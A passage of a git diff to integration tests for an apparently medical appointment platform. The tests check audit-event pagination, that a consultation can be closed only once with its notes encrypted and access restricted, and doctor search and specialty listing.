e.actorUserId === admin.id)).toBe(true); + const byPatient = await listEvents({ actorUserId: patients[0]!.userId }); + expect(byPatient.body.items.every((e: { actorUserId: string }) => e.actorUserId === patients[0]!.userId)).toBe(true); + + const all = (await listEvents({ limit: 200 })).body.items as { createdAt: string }[]; + const pivot = all[Math.floor(all.length / 2)]!.createdAt; + const after = (await listEvents({ from: pivot, limit: 200 })).body.items as { createdAt: string }[]; + const before = (await listEvents({ to: pivot, limit: 200 })).body.items as { createdAt: string }[]; + expect(after.every((e) => e.createdAt >= pivot)).toBe(true); + expect(before.every((e) => e.createdAt <= pivot)).toBe(true); + expect(new Set([...after, ...before].map((e) => JSON.stringify(e))).size).toBe(all.length); + expect((await listEvents({ from: '2999-01-01' })).body).toEqual({ items: [], nextCursor: null }); + }); + + it('validates the query', async () => { + const invalid: Record[] = [ + { limit: 0 }, + { limit: 500 }, + { from: 'not-a-date' }, + { unknown: 'x' }, + { entityId: 'a' }, + { cursor: 'garbage' }, + { from: '2026-10-17', to: '2026-10-01' }, + ]; + for (const query of invalid) { + const res = await listEvents(query); + expect(res.status, JSON.stringify(query)).toBe(400); + } + }); + + it('pages with a stable cursor: every event once, in a total order, even with identical timestamps', async () => { + // 23 events with one identical createdAt (Prisma stamps createdAt per + // row on the client, so real same-millisecond writes collide like + // this) β€” the cursor must tie-break on id. Inserted directly: INSERT + // is the one operation the append-only trigger allows. + const entityId = `bulk-${runId}`; + const sameInstant = new Date('2026-01-01T00:00:00.000Z'); + await prisma.auditEvent.createMany({ + data: Array.from({ length: 23 }, (_, i) => ({ + entityType: 'PaymentIntent', + entityId, + action: 'payment_intent.funded', + fromState: 'created', + toState: 'escrowed', + metadata: { seq: i }, + createdAt: sameInstant, + })), + }); + const rows = await prisma.auditEvent.findMany({ where: { entityId } }); + expect(new Set(rows.map((r) => r.createdAt.getTime())).size).toBe(1); + + const collect = async () => { + const seen: { id: string; createdAt: string }[] = []; + let cursor: string | null = null; + let pages = 0; + do { + const res = await listEvents({ entityType: 'PaymentIntent', entityId, limit: 5, ...(cursor ? { cursor } : {}) }); + expect(res.status).toBe(200); + expect(res.body.items.length).toBeLessThanOrEqual(5); + seen.push(...res.body.items); + cursor = res.body.nextCursor; + pages += 1; + // A newer event arriving mid-scan must not disturb the remaining pages. + if (pages === 2) { + await prisma.$transaction((tx) => audit.record(tx, audit.SYSTEM_ACTOR, { entityType: 'PaymentIntent', entityId, action: 'payment_intent.released', fromState: 'escrowed', toState: 'released' })); + } + } while (cursor); + return { seen, pages }; + }; + + const { seen, pages } = await collect(); + expect(pages).toBe(5); + expect(seen).toHaveLength(23); + expect(new Set(seen.map((e) => e.id)).size).toBe(23); + const expected = rows.map((r) => r.id).sort().reverse(); + expect(seen.map((e) => e.id)).toEqual(expected); + + // Deterministic: a second full scan sees the same 23 (plus the newer one, first). + const again = await collect(); + expect(again.seen.slice(1).map((e) => e.id)).toEqual(expected); + expect(again.seen[0]!.id).not.toBe(expected[0]); + }); + }); + + it('keeps the existing booking guarantee: every booked slot has exactly one appointment', async () => { + const booked = await prisma.availabilitySlot.findMany({ where: { doctorProfileId: doctor.profileId, status: 'booked' } }); + for (const slot of booked) expect(await prisma.appointment.count({ where: { availabilitySlotId: slot.id } })).toBe(1); + }); +}); diff --git a/backend/tests/integration/consultation.test.mts b/backend/tests/integration/consultation.test.mts index 9781c415..9aa1d3bb 100644 --- a/backend/tests/integration/consultation.test.mts +++ b/backend/tests/integration/consultation.test.mts @@ -1,268 +1,268 @@ -// Integration tests for issue #4: closing a consultation, exactly once. -// (ROADMAP.md Phase 2 β€” "`Consultation` record + outcome".) -// -// The correctness-critical assertions here are: -// 1. the owning doctor can close their appointment's consultation once, -// and only after the appointment is `completed`; -// 2. a second close is refused AND the database still holds exactly one -// row β€” the unique constraint on Consultation.appointmentId is the -// guarantee, not the service's pre-check. The two addresses for that -// write (`POST /appointments/:id/consultation` and `POST /consultations`) -// are the same operation, so neither can slip a second row past it; -// 3. another doctor cannot close it (404, not 403 β€” no existence leak). -// -// Self-contained like the other integration suites: spins up its own -// throwaway Postgres (embedded-postgres, prebuilt binary) and applies the -// committed migrations, so no pre-existing DB/Docker is needed. The port has -// to be unique per integration file β€” two embedded clusters on one port hang -// each other's beforeAll until the hook timeout kills the file. Taken today: -// 5433 booking, 5435 email-verification, 5436 login-throttle, 5437 csrf, -// 5438 access-control, 5439 admin-lifecycle, 5440 payments-bigint, -// 5441 audit, 5442 patient-export, 5443 referral-loops, 5444 admin-referrals, -// 5445 referral-foundation, 5446 referral-cascade, 5447 referral-multi, -// 5451 sessions, 5452 this file. -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5452; -const runId = Date.now(); - -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-consult-pg-')); -const pg = new EmbeddedPostgres({ - databaseDir: dataDir, - user: 'docforum', - password: 'docforum', - port: PORT, - persistent: false, -}); - -// Matches vitest.config.mts's DATABASE_URL convention: the client built at -// import time in src/db/prisma-client.ts connects lazily with this URL. -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; -// vitest.config.mts points DATABASE_URL at booking.test.mts's cluster -// (5433); this file runs its own on 5452, so it has to say so before -// src/db/prisma-client.ts constructs the client at import time. Without -// this the app talks to whatever is on 5433 β€” nothing when the file runs -// alone (ECONNREFUSED), and *booking's* database when the suite runs in -// parallel, which would make these assertions pass against the wrong DB. -process.env.DATABASE_URL = databaseUrl; - -/** Booking requires a verified email (Phase 8, issue #34), so the suite - * installs its own email sender and reads the verification token out of the - * message β€” the DB only stores the token's hash. */ -const emailedTokens = new Map(); - -type App = ReturnType; - -async function signupAndVerify(app: App, role: 'doctor' | 'patient', email: string, fullName: string) { - const res = await request(app).post('/auth/signup').send({ role, email, password: 'longenough123', fullName }); - expect(res.status, JSON.stringify(res.body)).toBe(200); - - const token = emailedTokens.get(email); - expect(token, `no verification email captured for ${email}`).toBeTruthy(); - const verified = await request(app).post('/auth/verify-email').send({ token }); - expect(verified.status).toBe(200); - - return res.body.accessToken as string; -} - -describe('consultation close-once guarantee', () => { - let app: App; - let prisma: typeof import('../../src/db/prisma-client.js').prisma; - let owningDoctorToken: string; - let otherDoctorToken: string; - let patientToken: string; - let appointmentId: string; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - - // Imported dynamically, after migrations exist: src/app.ts's import chain - // constructs PrismaClient at module-load time. - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const authServices = await import('../../src/modules/auth/services/index.js'); - app = appModule.createApp(); - prisma = dbModule.prisma; - - authServices.setEmailSender(async (message) => { - const match = /[?&]token=([^&\s]+)/.exec(message.text); - if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); - }); - - owningDoctorToken = await signupAndVerify(app, 'doctor', `consult-doctor-${runId}@example.com`, 'Owning Doctor'); - otherDoctorToken = await signupAndVerify(app, 'doctor', `consult-other-${runId}@example.com`, 'Other Doctor'); - patientToken = await signupAndVerify(app, 'patient', `consult-patient-${runId}@example.com`, 'Test Patient'); - - const doctorMe = await request(app).get('/doctors/me').set('Authorization', `Bearer ${owningDoctorToken}`); - expect(doctorMe.status).toBe(200); - const doctorProfileId = doctorMe.body.id as string; - - const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); - const generate = await request(app) - .post(`/availability/doctors/${doctorProfileId}/slots/generate`) - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ date: tomorrow, startHour: 9, endHour: 10, slotLengthMinutes: 30 }); - expect(generate.status, JSON.stringify(generate.body)).toBe(201); - expect(generate.body.created).toBeGreaterThan(0); - - const slots = await request(app).get(`/availability/doctors/${doctorProfileId}/slots`); - expect(slots.body.length).toBeGreaterThan(0); - - const book = await request(app) - .post('/appointments') - .set('Authorization', `Bearer ${patientToken}`) - .send({ availabilitySlotId: slots.body[0].id }); - expect(book.status, JSON.stringify(book.body)).toBe(201); - appointmentId = book.body.id as string; - }); - - afterAll(async () => { - const authServices = await import('../../src/modules/auth/services/index.js'); - authServices.resetEmailSender(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('refuses to close a consultation before the appointment is completed', async () => { - const res = await request(app) - .post(`/appointments/${appointmentId}/consultation`) - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ outcome: 'resolved', notes: 'Too early β€” the visit has not happened.' }); - - expect(res.status, JSON.stringify(res.body)).toBe(409); - expect(res.body.message.toLowerCase()).toContain('completed'); - expect(await prisma.consultation.count({ where: { appointmentId } })).toBe(0); - }); - - it('lets the treating doctor complete the appointment', async () => { - const res = await request(app) - .patch(`/appointments/${appointmentId}/status`) - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ status: 'completed' }); - - expect(res.status, JSON.stringify(res.body)).toBe(200); - expect(res.body.status).toBe('completed'); - }); - - it('lets the owning doctor close the appointment consultation once', async () => { - const res = await request(app) - .post(`/appointments/${appointmentId}/consultation`) - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ outcome: 'resolved', notes: 'Reviewed results; no follow-up needed.' }); - - expect(res.status, JSON.stringify(res.body)).toBe(201); - expect(res.body.consultation).toMatchObject({ - id: expect.any(String), - appointmentId, - outcome: 'resolved', - }); - // The caller gets their own notes back in plaintext… - expect(res.body.consultation.notes).toBe('Reviewed results; no follow-up needed.'); - - // …while the column itself only ever holds the AES-GCM envelope - // (issue #46), never the clinical text. - const stored = await prisma.consultation.findUniqueOrThrow({ where: { appointmentId } }); - expect(stored.notes).toMatch(/^v1:[A-Za-z0-9+/=]+:[A-Za-z0-9+/=]+:[A-Za-z0-9+/=]+$/); - expect(stored.notes).not.toContain('Reviewed results'); - - // The close is audited, in the same transaction (Phase 8, issue #43). - const events = await prisma.auditEvent.findMany({ - where: { entityType: 'Consultation', entityId: res.body.consultation.id }, - }); - expect(events).toHaveLength(1); - expect(events[0].action).toBe('consultation.closed'); - expect(events[0].toState).toBe('resolved'); - }); - - it('refuses a second close of the same appointment', async () => { - const res = await request(app) - .post(`/appointments/${appointmentId}/consultation`) - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ outcome: 'follow_up_needed', notes: 'Second attempt β€” must be rejected.' }); - - expect(res.status).toBe(409); - expect(res.body.message.toLowerCase()).toContain('already'); - }); - - it('still holds exactly one consultation row for the appointment', async () => { - const rows = await prisma.consultation.findMany({ where: { appointmentId } }); - expect(rows).toHaveLength(1); - // The rejected second attempt did not overwrite the first outcome. - expect(rows[0].outcome).toBe('resolved'); - }); - - it('refuses a second close through the /consultations address (same row)', async () => { - const res = await request(app) - .post('/consultations') - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ appointmentId, outcome: 'resolved', notes: 'Same appointment, other address.' }); - - expect(res.status, JSON.stringify(res.body)).toBe(409); - expect(await prisma.consultation.count({ where: { appointmentId } })).toBe(1); - }); - - it('returns the decrypted notes to the treating doctor and the patient, and 403 to anyone else', async () => { - const consultationId = (await prisma.consultation.findUniqueOrThrow({ where: { appointmentId } })).id; - - const asDoctor = await request(app) - .get(`/consultations/${consultationId}`) - .set('Authorization', `Bearer ${owningDoctorToken}`); - expect(asDoctor.status).toBe(200); - expect(asDoctor.body.notes).toBe('Reviewed results; no follow-up needed.'); - - const asPatient = await request(app) - .get(`/consultations/${consultationId}`) - .set('Authorization', `Bearer ${patientToken}`); - expect(asPatient.status).toBe(200); - expect(asPatient.body.notes).toBe('Reviewed results; no follow-up needed.'); - - const asOtherDoctor = await request(app) - .get(`/consultations/${consultationId}`) - .set('Authorization', `Bearer ${otherDoctorToken}`); - expect(asOtherDoctor.status).toBe(403); - }); - - it('refuses a doctor who does not own the appointment (no existence leak)', async () => { - const res = await request(app) - .post(`/appointments/${appointmentId}/consultation`) - .set('Authorization', `Bearer ${otherDoctorToken}`) - .send({ outcome: 'resolved', notes: 'Not my appointment.' }); - - expect(res.status).toBe(404); - }); - - it('refuses a patient closing a consultation (doctor-only route)', async () => { - const res = await request(app) - .post(`/appointments/${appointmentId}/consultation`) - .set('Authorization', `Bearer ${patientToken}`) - .send({ outcome: 'resolved', notes: 'Patient attempt.' }); - - expect(res.status).toBe(403); - }); - - it('rejects an unknown outcome', async () => { - const res = await request(app) - .post(`/appointments/${appointmentId}/consultation`) - .set('Authorization', `Bearer ${owningDoctorToken}`) - .send({ outcome: 'cured', notes: 'Invalid outcome value.' }); - - expect(res.status).toBe(400); - }); -}); +// Integration tests for issue #4: closing a consultation, exactly once. +// (ROADMAP.md Phase 2 β€” "`Consultation` record + outcome".) +// +// The correctness-critical assertions here are: +// 1. the owning doctor can close their appointment's consultation once, +// and only after the appointment is `completed`; +// 2. a second close is refused AND the database still holds exactly one +// row β€” the unique constraint on Consultation.appointmentId is the +// guarantee, not the service's pre-check. The two addresses for that +// write (`POST /appointments/:id/consultation` and `POST /consultations`) +// are the same operation, so neither can slip a second row past it; +// 3. another doctor cannot close it (404, not 403 β€” no existence leak). +// +// Self-contained like the other integration suites: spins up its own +// throwaway Postgres (embedded-postgres, prebuilt binary) and applies the +// committed migrations, so no pre-existing DB/Docker is needed. The port has +// to be unique per integration file β€” two embedded clusters on one port hang +// each other's beforeAll until the hook timeout kills the file. Taken today: +// 5433 booking, 5435 email-verification, 5436 login-throttle, 5437 csrf, +// 5438 access-control, 5439 admin-lifecycle, 5440 payments-bigint, +// 5441 audit, 5442 patient-export, 5443 referral-loops, 5444 admin-referrals, +// 5445 referral-foundation, 5446 referral-cascade, 5447 referral-multi, +// 5451 sessions, 5452 this file. +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5452; +const runId = Date.now(); + +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-consult-pg-')); +const pg = new EmbeddedPostgres({ + databaseDir: dataDir, + user: 'docforum', + password: 'docforum', + port: PORT, + persistent: false, +}); + +// Matches vitest.config.mts's DATABASE_URL convention: the client built at +// import time in src/db/prisma-client.ts connects lazily with this URL. +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; +// vitest.config.mts points DATABASE_URL at booking.test.mts's cluster +// (5433); this file runs its own on 5452, so it has to say so before +// src/db/prisma-client.ts constructs the client at import time. Without +// this the app talks to whatever is on 5433 β€” nothing when the file runs +// alone (ECONNREFUSED), and *booking's* database when the suite runs in +// parallel, which would make these assertions pass against the wrong DB. +process.env.DATABASE_URL = databaseUrl; + +/** Booking requires a verified email (Phase 8, issue #34), so the suite + * installs its own email sender and reads the verification token out of the + * message β€” the DB only stores the token's hash. */ +const emailedTokens = new Map(); + +type App = ReturnType; + +async function signupAndVerify(app: App, role: 'doctor' | 'patient', email: string, fullName: string) { + const res = await request(app).post('/auth/signup').send({ role, email, password: 'longenough123', fullName }); + expect(res.status, JSON.stringify(res.body)).toBe(200); + + const token = emailedTokens.get(email); + expect(token, `no verification email captured for ${email}`).toBeTruthy(); + const verified = await request(app).post('/auth/verify-email').send({ token }); + expect(verified.status).toBe(200); + + return res.body.accessToken as string; +} + +describe('consultation close-once guarantee', () => { + let app: App; + let prisma: typeof import('../../src/db/prisma-client.js').prisma; + let owningDoctorToken: string; + let otherDoctorToken: string; + let patientToken: string; + let appointmentId: string; + + beforeAll(async () => { + await pg.initialise(); + await pg.start(); + await pg.createDatabase('docforum_test'); + + execFileSync('npx', ['prisma', 'migrate', 'deploy'], { + cwd: BACKEND_ROOT, + env: { ...process.env, DATABASE_URL: databaseUrl }, + stdio: 'pipe', + }); + + // Imported dynamically, after migrations exist: src/app.ts's import chain + // constructs PrismaClient at module-load time. + const appModule = await import('../../src/app.js'); + const dbModule = await import('../../src/db/prisma-client.js'); + const authServices = await import('../../src/modules/auth/services/index.js'); + app = appModule.createApp(); + prisma = dbModule.prisma; + + authServices.setEmailSender(async (message) => { + const match = /[?&]token=([^&\s]+)/.exec(message.text); + if (match) emailedTokens.set(message.to, decodeURIComponent(match[1])); + }); + + owningDoctorToken = await signupAndVerify(app, 'doctor', `consult-doctor-${runId}@example.com`, 'Owning Doctor'); + otherDoctorToken = await signupAndVerify(app, 'doctor', `consult-other-${runId}@example.com`, 'Other Doctor'); + patientToken = await signupAndVerify(app, 'patient', `consult-patient-${runId}@example.com`, 'Test Patient'); + + const doctorMe = await request(app).get('/doctors/me').set('Authorization', `Bearer ${owningDoctorToken}`); + expect(doctorMe.status).toBe(200); + const doctorProfileId = doctorMe.body.id as string; + + const tomorrow = new Date(Date.now() + 24 * 60 * 60 * 1000).toISOString().slice(0, 10); + const generate = await request(app) + .post(`/availability/doctors/${doctorProfileId}/slots/generate`) + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ date: tomorrow, startHour: 9, endHour: 10, slotLengthMinutes: 30 }); + expect(generate.status, JSON.stringify(generate.body)).toBe(201); + expect(generate.body.created).toBeGreaterThan(0); + + const slots = await request(app).get(`/availability/doctors/${doctorProfileId}/slots`); + expect(slots.body.length).toBeGreaterThan(0); + + const book = await request(app) + .post('/appointments') + .set('Authorization', `Bearer ${patientToken}`) + .send({ availabilitySlotId: slots.body[0].id }); + expect(book.status, JSON.stringify(book.body)).toBe(201); + appointmentId = book.body.id as string; + }); + + afterAll(async () => { + const authServices = await import('../../src/modules/auth/services/index.js'); + authServices.resetEmailSender(); + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('refuses to close a consultation before the appointment is completed', async () => { + const res = await request(app) + .post(`/appointments/${appointmentId}/consultation`) + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ outcome: 'resolved', notes: 'Too early β€” the visit has not happened.' }); + + expect(res.status, JSON.stringify(res.body)).toBe(409); + expect(res.body.message.toLowerCase()).toContain('completed'); + expect(await prisma.consultation.count({ where: { appointmentId } })).toBe(0); + }); + + it('lets the treating doctor complete the appointment', async () => { + const res = await request(app) + .patch(`/appointments/${appointmentId}/status`) + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ status: 'completed' }); + + expect(res.status, JSON.stringify(res.body)).toBe(200); + expect(res.body.status).toBe('completed'); + }); + + it('lets the owning doctor close the appointment consultation once', async () => { + const res = await request(app) + .post(`/appointments/${appointmentId}/consultation`) + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ outcome: 'resolved', notes: 'Reviewed results; no follow-up needed.' }); + + expect(res.status, JSON.stringify(res.body)).toBe(201); + expect(res.body.consultation).toMatchObject({ + id: expect.any(String), + appointmentId, + outcome: 'resolved', + }); + // The caller gets their own notes back in plaintext… + expect(res.body.consultation.notes).toBe('Reviewed results; no follow-up needed.'); + + // …while the column itself only ever holds the AES-GCM envelope + // (issue #46), never the clinical text. + const stored = await prisma.consultation.findUniqueOrThrow({ where: { appointmentId } }); + expect(stored.notes).toMatch(/^v1:[A-Za-z0-9+/=]+:[A-Za-z0-9+/=]+:[A-Za-z0-9+/=]+$/); + expect(stored.notes).not.toContain('Reviewed results'); + + // The close is audited, in the same transaction (Phase 8, issue #43). + const events = await prisma.auditEvent.findMany({ + where: { entityType: 'Consultation', entityId: res.body.consultation.id }, + }); + expect(events).toHaveLength(1); + expect(events[0].action).toBe('consultation.closed'); + expect(events[0].toState).toBe('resolved'); + }); + + it('refuses a second close of the same appointment', async () => { + const res = await request(app) + .post(`/appointments/${appointmentId}/consultation`) + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ outcome: 'follow_up_needed', notes: 'Second attempt β€” must be rejected.' }); + + expect(res.status).toBe(409); + expect(res.body.message.toLowerCase()).toContain('already'); + }); + + it('still holds exactly one consultation row for the appointment', async () => { + const rows = await prisma.consultation.findMany({ where: { appointmentId } }); + expect(rows).toHaveLength(1); + // The rejected second attempt did not overwrite the first outcome. + expect(rows[0].outcome).toBe('resolved'); + }); + + it('refuses a second close through the /consultations address (same row)', async () => { + const res = await request(app) + .post('/consultations') + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ appointmentId, outcome: 'resolved', notes: 'Same appointment, other address.' }); + + expect(res.status, JSON.stringify(res.body)).toBe(409); + expect(await prisma.consultation.count({ where: { appointmentId } })).toBe(1); + }); + + it('returns the decrypted notes to the treating doctor and the patient, and 403 to anyone else', async () => { + const consultationId = (await prisma.consultation.findUniqueOrThrow({ where: { appointmentId } })).id; + + const asDoctor = await request(app) + .get(`/consultations/${consultationId}`) + .set('Authorization', `Bearer ${owningDoctorToken}`); + expect(asDoctor.status).toBe(200); + expect(asDoctor.body.notes).toBe('Reviewed results; no follow-up needed.'); + + const asPatient = await request(app) + .get(`/consultations/${consultationId}`) + .set('Authorization', `Bearer ${patientToken}`); + expect(asPatient.status).toBe(200); + expect(asPatient.body.notes).toBe('Reviewed results; no follow-up needed.'); + + const asOtherDoctor = await request(app) + .get(`/consultations/${consultationId}`) + .set('Authorization', `Bearer ${otherDoctorToken}`); + expect(asOtherDoctor.status).toBe(403); + }); + + it('refuses a doctor who does not own the appointment (no existence leak)', async () => { + const res = await request(app) + .post(`/appointments/${appointmentId}/consultation`) + .set('Authorization', `Bearer ${otherDoctorToken}`) + .send({ outcome: 'resolved', notes: 'Not my appointment.' }); + + expect(res.status).toBe(404); + }); + + it('refuses a patient closing a consultation (doctor-only route)', async () => { + const res = await request(app) + .post(`/appointments/${appointmentId}/consultation`) + .set('Authorization', `Bearer ${patientToken}`) + .send({ outcome: 'resolved', notes: 'Patient attempt.' }); + + expect(res.status).toBe(403); + }); + + it('rejects an unknown outcome', async () => { + const res = await request(app) + .post(`/appointments/${appointmentId}/consultation`) + .set('Authorization', `Bearer ${owningDoctorToken}`) + .send({ outcome: 'cured', notes: 'Invalid outcome value.' }); + + expect(res.status).toBe(400); + }); +}); diff --git a/backend/tests/integration/doctors-discovery.test.mts b/backend/tests/integration/doctors-discovery.test.mts index e7b36614..e17694de 100644 --- a/backend/tests/integration/doctors-discovery.test.mts +++ b/backend/tests/integration/doctors-discovery.test.mts @@ -1,149 +1,149 @@ -import { execFileSync } from 'node:child_process'; -import fs from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { afterAll, beforeAll, describe, expect, it } from 'vitest'; -import request from 'supertest'; -import EmbeddedPostgres from 'embedded-postgres'; - -const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); -const PORT = 5460; -const runId = Date.now(); -const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-doctors-pg-')); -const pg = new EmbeddedPostgres({ databaseDir: dataDir, user: 'docforum', password: 'docforum', port: PORT, persistent: false }); -const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; -const emailedTokens = new Map(); - -type App = ReturnType; -type Prisma = typeof import('../../src/db/prisma-client.js').prisma; - -describe('doctor discovery', () => { - let app: App; - let prisma: Prisma; - let cardiologyId: string; - let dermatologyId: string; - let cardiologySlug: string; - let doctor: { userId: string; accessToken: string; profileId: string; email: string }; - let patient: { userId: string; accessToken: string; profileId: string; email: string }; - - beforeAll(async () => { - await pg.initialise(); - await pg.start(); - await pg.createDatabase('docforum_test'); - execFileSync('npx', ['prisma', 'migrate', 'deploy'], { - cwd: BACKEND_ROOT, - env: { ...process.env, DATABASE_URL: databaseUrl }, - stdio: 'pipe', - }); - process.env.DATABASE_URL = databaseUrl; - - const appModule = await import('../../src/app.js'); - const dbModule = await import('../../src/db/prisma-client.js'); - const fixtureModule = await import('./helpers/fixtures.mjs'); - await fixtureModule.installEmailCapture(emailedTokens); - app = appModule.createApp(); - prisma = dbModule.prisma; - - cardiologyId = await fixtureModule.makeSpecialty(prisma, `Property Cardiology ${runId}`); - dermatologyId = await fixtureModule.makeSpecialty(prisma, `Property Dermatology ${runId}`); - const cardiology = await prisma.specialty.findUniqueOrThrow({ where: { id: cardiologyId } }); - cardiologySlug = cardiology.slug; - doctor = await fixtureModule.makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: cardiologyId }); - await prisma.doctorProfile.update({ where: { id: doctor.profileId }, data: { fullName: 'Adebayo Adebayor' } }); - patient = await fixtureModule.makePatient(app, emailedTokens, runId); - - const pending = await request(app).post('/auth/signup').send({ - role: 'doctor', - email: `pending-${runId}@example.test`, - password: 'longenough123', - fullName: 'Pending Adebayo', - }); - expect(pending.status).toBe(200); - const pendingProfile = await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: pending.body.user.id } }); - await prisma.doctorSpecialty.create({ data: { doctorProfileId: pendingProfile.id, specialtyId: cardiologyId } }); - - await fixtureModule.makeDoctor(app, prisma, emailedTokens, runId, { specialtyId: dermatologyId }); - // Keep one similarly named verified profile for typo and prefix searches. - const second = await request(app).post('/auth/signup').send({ - role: 'doctor', - email: `adele-${runId}@example.test`, - password: 'longenough123', - fullName: 'Adele Dermatologist', - }); - expect(second.status).toBe(200); - const secondProfile = await prisma.doctorProfile.findUniqueOrThrow({ where: { userId: second.body.user.id } }); - await prisma.doctorProfile.update({ where: { id: secondProfile.id }, data: { verificationStatus: 'verified' } }); - await prisma.doctorSpecialty.create({ data: { doctorProfileId: secondProfile.id, specialtyId: dermatologyId } }); - }, 30_000); - - afterAll(async () => { - const fixtureModule = await import('./helpers/fixtures.mjs'); - await fixtureModule.resetEmailSenderFixture(); - await prisma?.$disconnect(); - await pg.stop(); - fs.rmSync(dataDir, { recursive: true, force: true }); - }); - - it('lists specialties publicly and searches only verified doctors with public fields', async () => { - const specialties = await request(app).get('/specialties'); - expect(specialties.status).toBe(200); - expect(specialties.body).toEqual(expect.arrayContaining([ - expect.objectContaining({ id: cardiologyId, slug: cardiologySlug }), - ])); - - const results = await request(app).get('/doctors').query({ specialty: cardiologySlug }); - expect(results.status).toBe(200); - expect(results.body.items).toHaveLength(1); - expect(results.body.items[0]).toMatchObject({ id: doctor.profileId, fullName: 'Adebayo Adebayor' }); - expect(Object.keys(results.body.items[0]).sort()).toEqual(['fullName', 'id', 'specialties']); - expect(results.body.items[0].specialties[0]).toMatchObject({ id: cardiologyId, slug: cardiologySlug }); - expect(JSON.stringify(results.body)).not.toContain(doctor.email); - - const unknown = await request(app).get('/doctors').query({ specialty: 'not-a-specialty' }); - expect(unknown.status).toBe(200); - expect(unknown.body.items).toEqual([]); - }); - - it('uses typo-tolerant matching for longer terms and prefix matching for short terms', async () => { - const typo = await request(app).get('/doctors').query({ q: 'Adebayor' }); - expect(typo.status).toBe(200); - expect(typo.body.items.some((entry: { id: string }) => entry.id === doctor.profileId)).toBe(true); - - const prefix = await request(app).get('/doctors').query({ q: 'Ad' }); - expect(prefix.status).toBe(200); - expect(prefix.body.items.some((entry: { id: string }) => entry.id === doctor.profileId)).toBe(true); - }); - - it('uses stable keyset pagination and lets doctors replace only their own specialty set', async () => { - const first = await request(app).get('/doctors').query({ limit: 1 }); - expect(first.status).toBe(200); - expect(first.body.items).toHaveLength(1); - expect(first.body.nextCursor).toBeTruthy(); - const second = await request(app).get('/doctors').query({ limit: 1, cursor: first.body.nextCursor }); - expect(second.status).toBe(200); - expect(second.body.items).toHaveLength(1); - expect(second.body.items[0].id).not.toBe(first.body.items[0].id); - - const replaced = await request(app) - .put('/doctors/me/specialties') - .set('Authorization', `Bearer ${doctor.accessToken}`) - .send({ specialtyIds: [dermatologyId] }); - expect(replaced.status).toBe(200); - expect(replaced.body.specialties.map((item: { id: string }) => item.id)).toEqual([dermatologyId]); - - const unknown = await request(app) - .put('/doctors/me/specialties') - .set('Authorization', `Bearer ${doctor.accessToken}`) - .send({ specialtyIds: ['00000000-0000-4000-8000-000000000099'] }); - expect(unknown.status).toBe(400); - const current = await prisma.doctorSpecialty.findMany({ where: { doctorProfileId: doctor.profileId } }); - expect(current.map((item) => item.specialtyId)).toEqual([dermatologyId]); - - const forbidden = await request(app) - .put('/doctors/me/specialties') - .set('Authorization', `Bearer ${patient.accessToken}`) - .send({ specialtyIds: [] }); - expect(forbidden.status).toBe(403); - }); -}); +import { execFileSync } from 'node:child_process'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import request from 'supertest'; +import EmbeddedPostgres from 'embedded-postgres'; + +const BACKEND_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); +const PORT = 5460; +const runId = Date.now(); +const dataDir = fs.mkdtempSync(path.join(os.tmpdir(), 'docforum-doctors-pg-')); +const pg = new EmbeddedPostgres({ databaseDir: dataDir, user: 'docforum', password: 'docforum', port: PORT, persistent: false }); +const databaseUrl = `postgresql://docforum:docforum@localhost:${PORT}/docforum_test`; +const emailedTokens = new Map(); + +type App = ReturnType; +type Prisma = typeof import('../../src/db/prisma-client.js').prisma; + +describe('doctor discovery', () => { + let app: App; + let prisma: Prisma; + let cardiologyId: string; + let dermatologyId: string; + let cardiologySlug: string; + let doctor: { userId: string; 